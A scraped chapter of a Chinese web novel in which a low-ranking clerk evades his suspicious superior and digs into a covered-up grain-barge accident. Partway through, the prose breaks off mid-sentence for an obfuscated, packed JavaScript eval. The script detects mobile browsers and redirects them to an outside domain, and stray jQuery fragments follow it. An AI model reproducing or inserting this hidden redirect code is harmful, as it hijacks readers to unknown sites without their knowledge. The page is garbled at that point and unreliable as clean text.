25. 青州风云 - “考公上岸,江湖再见”

作品:《只在主角的世界里路过

    王书办的声音如同鬼魅般在身后响起,路遥浑身的血液仿佛在这一瞬间冻结了。


    他什么时候来的?老李那句低语,他听见了吗?


    巨大的恐惧攫住了路遥,他甚至能感觉到自己的脸颊肌肉在微微抽搐。大脑一片空白,几乎要失去思考能力。


    【冷静!必须冷静!】求生本能疯狂呐喊,前世应对突发危机的经验强行压下了恐慌。他脸上瞬间堆满了疲惫和受到惊吓的表情,甚至还带着一丝恰到好处的茫然。


    “王……王书办?”路遥仿佛才反应过来,连忙躬身行礼,声音带着熬夜后的沙哑和“猝不及防”的结巴,“小人……小人刚核完最后一笔账目,头昏脑涨,出来被风一吹,有些走神了……没瞧见书办您,恕罪恕罪!”


    他绝口不提老李,只强调自己的疲惫和走神,试图将刚才的愣神合理化。


    王书办脸上那惯常的温和笑容依旧挂着,但眼神却像探照灯一样在他脸上扫视,似乎想找出任何一丝破绽。


    “哦?是吗?”王书办慢悠悠地道,语气听不出喜怒,“我看你刚才神色惊惶,像是听到了什么了不得的大事?莫非……是李老头又跟你抱怨俸禄发少了?”


    他主动提起了老李!这是一种试探,看路遥会不会顺着他给的梯子下,还是会露出马脚。


    路遥心中警铃狂响,脸上却露出更加“窘迫”和“无奈”的表情,顺着话头叹气道:“书办明鉴……老李……李胥吏倒是没说什么。只是小人自己想着那堆怎么也核不平的账,心里发慌,生怕再做不好,辜负了书办的信任……”他巧妙地把原因引回自己的工作压力上。


    王书办盯着他看了几秒,忽然笑了笑,拍了拍他的肩膀:“年轻人,有压力是好事,说明用心了。账目慢慢核,仔细些便是,不必过于忧心。”


    他似乎暂时接受了这个解释,或者说,暂时不打算深究。


    路遥心里刚松了半口气,王书办却话锋一转,仿佛闲聊般问道:“说起来,你老家是哪里的来着?听你口音,似乎不是青州本地人?”


    路遥的心再次提起,面上却不敢有丝毫迟疑,立刻拿出准备好的说辞:“回书办,小人是胤州南水县人士,家中遭了水灾,才不得已来青州投亲谋生。”这是他伪造的路引上的信息。


    “南水县?”王书办若有所思地点点头,“那地方我去过,前些年发大水,确实惨得很。听说去年雍县漕运出事,也波及到了南水那边?粮价涨了不少吧?”


    雍县!漕运出事!


    路遥的神经瞬间绷紧!王书办果然知道了!他绝对听到了老李的话!他现在是在敲打自己,也是在进一步试探自己与“雍县漕运”这件事的关联!


    路遥后背瞬间被冷汗浸湿,他努力维持着表情的自然,甚至恰到好处地露出一丝“往事不堪回首”的悲戚:“书办说的是……去年确实艰难。不过小人当时只顾着逃难糊口,这等漕运大事,也只是后来隐约听人提起过几句,具体情形……小人这等草民,实在不敢妄加议论。”


    他再次强调自己地位低微、信息闭塞,完美契合一个逃难书生的身份,同时暗示自己对雍县漕运之事并不知情。


    王书办脸上的笑容似乎加深了一些,眼神却更加幽深:“是啊,大事自然有上官们操心。我等胥吏,办好自己的差事便是本分。行了,天不早了,快回去吧。”


    “是,书办。书办也请早些歇息。”路遥再次躬身,直到王书办转身走回衙门,他才敢慢慢直起腰,感觉双腿都有些发软。


    他不敢再多做停留,几乎是逃离般地快步离开。


    回到出租屋,闩上门,路遥才彻底瘫软下来,靠在门板上大口喘气,心脏狂跳不止。


    王书办的威胁已经赤裸裸地摆在了台面上。他不仅怀疑自己,甚至可能已经将自己和老李视为某种潜在的威胁。那句关于雍县漕运的话,既是警告,也是最后的通牒——别再打听,否则后果自负。


    然而,路遥此刻的内心,除了恐惧,更多了一股被逼到绝境的狠劲。


    【雍县漕运失事……嘉佑六年……】老李拼着风险传递出来的信息,绝对是关键中的关键!


    王书办越是遮掩,越是警告,就越说明这里有问题!


    必须查下去!只有弄清楚真相,才有可能找到自保的筹码!


    第二天,路遥顶着巨大的压力,依旧准时上工。他表现得比以往更加沉默和恭顺,对王书办交代的工作毫无怨言,甚至主动承担更多琐碎的任务,仿佛彻底被驯服了一般。


    王书办对他的态度似乎也缓和了一些,不再刻意刁难,但那种无形的监视感却始终存在。


    路遥知道,这是暴风雨前的平静。


    他利用一切可能的机会,开始暗中调查“嘉佑六年雍县漕船失事”的消息。


    这事显然被刻意压了下来,官方文书里语焉不详,只含糊记载了某日因“风浪所致”,一艘漕船在雍县境内“略有倾侧”,“部分粮食浸水”,后续处理则是“妥善安置”。


    但路遥不死心,他借着归档、查阅旧档的机会,翻找所有可能与雍县、漕运相关的卷宗。他甚至大着胆子,在一次午休时,凑到几个喜欢闲聊的老胥吏旁边,假装好奇地提起:“几位老哥,我前几日听人提起一嘴,说去年雍县那边好像有漕船出了事?咱们青州城粮价没受影响吧?”


    一个老胥吏嗤笑一声:“影响?能有什么影响?倒是雍县那边……嘿嘿。”他笑了两声,却不肯再说下去。


    另一个胥吏比较谨慎,瞪了同伴一眼,对路遥道:“陈年旧事了,提它作甚?做好自己的事吧。”


    路遥连忙赔笑称是,心里却更加确定,这事确有蹊跷,而且在衙门里是个不能轻易谈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340589|183421||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    论的话题。


    几天下来,收获甚微。就在路遥几乎要绝望时,转机意外地出现了。


    这天,他需要一份往年的驿传记录,不得不再次来到了存放杂项文书的旧档案库。这里的管理更加松散,档案堆放也更为混乱。


    在翻找所需卷宗时,他无意中碰落了一摞捆扎松散的旧文书。弯腰去捡时,却发现这些似乎是被淘汰下来的废稿和无效副本。


    这是一份抄送级别很低、似乎未被正式归档的便笺副本,内容是关于嘉佑六年某月,安排一名叫“李胜”的差役前往雍县“公干”的指令,签批人赫然是——王知远(王书办)!


    而便笺的发出时间,恰好就在官方记载的漕船“失事”日期之前三天!


    李胜?这个名字路遥有点印象,好像是户房一个不怎么起眼、后来据说因病返乡的差役?


    王书办在事发前三天,派一个差役去雍县“公干”?这仅仅是巧合吗?


    路遥飞快地将这份便笺副本塞进袖子里,然后若无其事地继续整理散落的文书。


    当天散值后,他第一时间回到出租屋,仔细研究这份便笺。


    除了时间点的巧合,便笺本身似乎并无特别之处。公干事由写得模糊不清:“核查地方杂税事宜”。


    但路遥的直觉告诉他,这绝不是巧合!


    他需要找到这个叫“李胜”的差役!如果他还活着,如果他能开口,或许就能知道王书办当年派他去雍县究竟做了什么!


    然而,人海茫茫,一个已经“因病返乡”的差役,去哪里找?


    路遥想起了阿青,这些混迹市井底层的人,或许有办法打听到消息。


    他立刻起身,再次前往那个巷口。


    这一次,墙上的符号还在。他等了很久,直到天色完全黑透,阿青才姗姗来迟,脸上带着一丝疲惫和……兴奋?


    “图弄到了?”阿青一见他就问。


    “还没有,机会不好找。”路遥实话实说,随即急切地问道,“阿青姑娘,这次是想请你帮忙找个人。”


    “找人?”阿青挑眉,“谁?”


    “一个原来在户房当差的胥役,叫李胜,大概去年中的时候因病返乡了。我想知道他的老家具体在哪,或者……他是否真的返乡了。”路遥将那份便笺的发现和自己的猜测简要说了一下。


    阿青听完,眼神变得有些古怪,她上下打量着路遥,忽然噗嗤一声笑了出来,笑容里带着几分嘲讽和……同情?


    “李胜?你想找李胜?”她摇着头,“我劝你死了这条心吧。”


    “为什么?”路遥心中一沉。


    阿青收敛了笑容,压低声音,一字一句地道:


    “因为那个李胜,根本就不是因病返乡。”


    “他去年从雍县回来后没多久,就失足掉进南城的废井里,淹死了。”